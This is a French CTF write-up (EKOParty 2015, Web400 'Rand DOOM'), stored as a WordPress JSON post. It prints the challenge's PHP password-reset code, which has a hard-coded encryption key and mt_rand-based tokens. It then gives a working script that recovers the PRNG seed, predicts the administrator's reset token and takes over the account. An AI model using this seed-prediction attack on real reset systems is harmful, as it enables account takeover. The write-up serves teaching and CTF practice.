{"id":1505,"date":"2015-10-24T03:51:12","date_gmt":"2015-10-24T01:51:12","guid":{"rendered":"https:\/\/0x90r00t.com\/fr\/?p=1505"},"modified":"2015-10-24T03:57:43","modified_gmt":"2015-10-24T01:57:43","slug":"ekoparty-part-2-2015-web400-rand-doom-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2015\/10\/24\/ekoparty-part-2-2015-web400-rand-doom-write-up\/","title":{"rendered":"[EKOParty Part 2 \u2013 2015] [Web400 \u2013 Rand DOOM] Write Up"},"content":{"rendered":"

Description<\/h2>\n

Rand DOOM<\/p>\n

Description: Do you think this password recovery is safe?<\/p><\/blockquote>\n

<\/p>\n

Resolution<\/h2>\n

Nous arrivons sur un site light avec que 2 menus, un pour s’identifier, l’autre pour r\u00e9cup\u00e9rer son mot de passe.
\nEn demandant le mot de passe, un message nous indiquant que le token de r\u00e9g\u00e9n\u00e9ration expire au bout de 10 minutes ainsi qu’un id de transaction nous est d\u00e9livr\u00e9, mais celui-ci semble ne servir \u00e0 rien (pour le moment :)).<\/p>\n

\"Id<\/a>
\nApr\u00e8s avoir test\u00e9 quelques injections habituelles infructueuses, un petit coup d’oeil au code source de la page d’identification nous donne un d\u00e9tail croustillant :<\/p>\n

\r\n<div id="navbar" class="navbar-collapse collapse">\r\n <ul class="nav navbar-nav">\r\n  <li><a href="?option=login">Login<\/a><\/li>\r\n  <li><a href="?option=recovery">Password Recovery<\/a><\/li>\r\n  <!-- <li><a href="?option=highlight">Source Code<\/a><\/li> \/\/ remove from production -->\r\n <\/ul>\r\n<\/div>\r\n<\/pre>\n
Comment \u00e7a \u00ab\u00a0\u00e0 enlever en production\u00a0\u00bb ? On dirait bien que le d\u00e9veloppeur ne l’a pas fait. Voyons voir ce que cela donne en utilisant cette option highlight :<\/p>\n
\r\n<?php\r\nnamespace RandomChallenge;\r\n\r\ninclude('functions.php');\r\n\r\nfunction generate_token() {\r\n    $key = '';\r\n    \r\n    do {\r\n        $key .= chr(mt_rand());\r\n        \r\n        $key = preg_replace('\/[^\\w]\/', '', $key);\r\n    } while(strlen($key) < 60);\r\n    \r\n    return $key;\r\n}\r\n\r\nfunction option() {\r\n    global $option;\r\n    \r\n    switch ($option) {\r\n        case 'request_token':\r\n            $id = bin2hex(\r\n                    mcrypt_encrypt(\r\n                        MCRYPT_RIJNDAEL_128,\r\n                        "\\x9c\\xa3\\xea\\x44\\xe0\\x48\\xcd\\xb8\\xb6\\x1f\\x2a\\xbb\\x37\\x6d\\x6c\\xb9\\x86\\x7a\\xfb\\x1f\\x40\\xbd\\xf8\\x57\\xa3\\x56\\x6a\\xc1\\x38\\x4a\\xdf\\xc1",\r\n                        mt_rand(),\r\n                        MCRYPT_MODE_ECB\r\n                    )\r\n                  );\r\n            \r\n            request_token($_POST['username'], generate_token(), $id);\r\n            break;\r\n        case 'reset_password':\r\n            reset_password($_GET['username'], $_GET['token']);\r\n            break;\r\n        case 'check_login':\r\n            check_login($_POST['username'], $_POST['password']);\r\n            break;\r\n        case 'recovery':\r\n            password_recovery();\r\n            break;\r\n        default:\r\n            login();\r\n            break;\r\n    }\r\n}\r\n\r\nheader();\r\noption();\r\nfooter(); \r\n<\/pre>\n
Nous avons ici la fonction generate_token()<\/code> qui g\u00e9n\u00e8re une chaine de caract\u00e8res imprimables al\u00e9atoires et un joli code qui crypte le retour de la fonction mt_rand()<\/code>. Tr\u00e8s certainement utilis\u00e9e pour g\u00e9n\u00e9rer l’id de transaction vu lors de la demande de r\u00e9initialisation du password.<\/p>\n
C’est bien beau tout \u00e7a, mais comme tout est g\u00e9n\u00e9r\u00e9 al\u00e9atoirement, comment on peut faire ?
\nIci la vuln\u00e9rabilit\u00e9 c’est que nous avons la cl\u00e9 pour d\u00e9crypter l’id de transaction, qui contient notre valeur al\u00e9atoire.
\nEt avec la valeur retourn\u00e9e par mt_rand()<\/code>, on peut bruteforcer sa seed afin de nous retrouver dans le m\u00eame contexte que quand la fonction generate_token()<\/code> est appel\u00e9e et donc pr\u00e9voir son retour !
\nPlut\u00f4t que de r\u00e9inventer la roue, nous avons utilis\u00e9 cet outil<\/a> pour bruteforcer la seed et un petit script en php pour automatiser le process :<\/p>\n
\r\n<?php\r\nfunction generate_token() {\r\n    $key = '';\r\n    \r\n    do {\r\n        $key .= chr(mt_rand());\r\n        \r\n        $key = preg_replace('\/[^\\w]\/', '', $key);\r\n    } while(strlen($key) < 60);\r\n    \r\n    return $key;\r\n}\r\n\r\n$id = '9a6d7fb315400d5321624b0cacab47ea'; \/\/ id de transaction\r\n\r\n$rand =             mcrypt_decrypt(\r\n                        MCRYPT_RIJNDAEL_128,\r\n                        "\\x9c\\xa3\\xea\\x44\\xe0\\x48\\xcd\\xb8\\xb6\\x1f\\x2a\\xbb\\x37\\x6d\\x6c\\xb9\\x86\\x7a\\xfb\\x1f\\x40\\xbd\\xf8\\x57\\xa3\\x56\\x6a\\xc1\\x38\\x4a\\xdf\\xc1",\r\n                        pack('H*', $id), \/\/ Conversion de l'id de transaction en binaire\r\n                        MCRYPT_MODE_ECB\r\n                    ); \/\/ valeur de mt_rand()\r\n                    \r\n  $bf = shell_exec('.\/php_mt_seed '.$rand);\r\n  preg_match_all('#seed = (\\d+)#', $bf, $regs);\r\n  \r\n  foreach ($regs[1] as $seed) {\r\n   mt_srand($seed);\r\n   echo $seed.' : '.generate_token().PHP_EOL;\r\n  }\r\n<\/pre>\n
Au bout de quelques secondes, les r\u00e9sultats tombent :<\/p>\n
\r\nFound 2, trying 4261412864 - 4294967295, speed 49614773 seeds per second\r\n2188691082 : A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW\r\n3123438417 : PYHbdgYu5BzRyY_30jnUVOrhC3CQ6ScRRLzGJQXofIc5jThgak8GSkufLttn\r\n<\/pre>\n
On se rend alors sur la page de r\u00e9initialisation de password avec le token fra\u00eechement obtenu :
\nhttp:\/\/ctfchallenges.ctf.site:10000\/randoom\/?option=reset_password&username=administrator&token=A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW<\/code><\/p>\n
\"Password<\/a><\/p>\n
 <\/p>\n
Cool \u00e7a fonctionne ! Il n’y a plus qu’a se loguer avec le password retourn\u00e9 pour obtenir le flag.<\/p>\n
\"flag\"<\/a><\/p>\n
Le flag est : EKO{seeding_haxors_for_fun_and_profit}<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"
Description Rand DOOM Description: Do you think this password recovery is safe?<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35,70],"tags":[75,116,115,54],"class_list":["post-1505","post","type-post","status-publish","format-standard","hentry","category-2015-fr","category-ctf-fr","category-ekoparty","tag-ekoparty","tag-mt_rand","tag-prng","tag-php"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1505","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=1505"}],"version-history":[{"count":4,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1505\/revisions"}],"predecessor-version":[{"id":1512,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1505\/revisions\/1512"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=1505"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=1505"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=1505"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}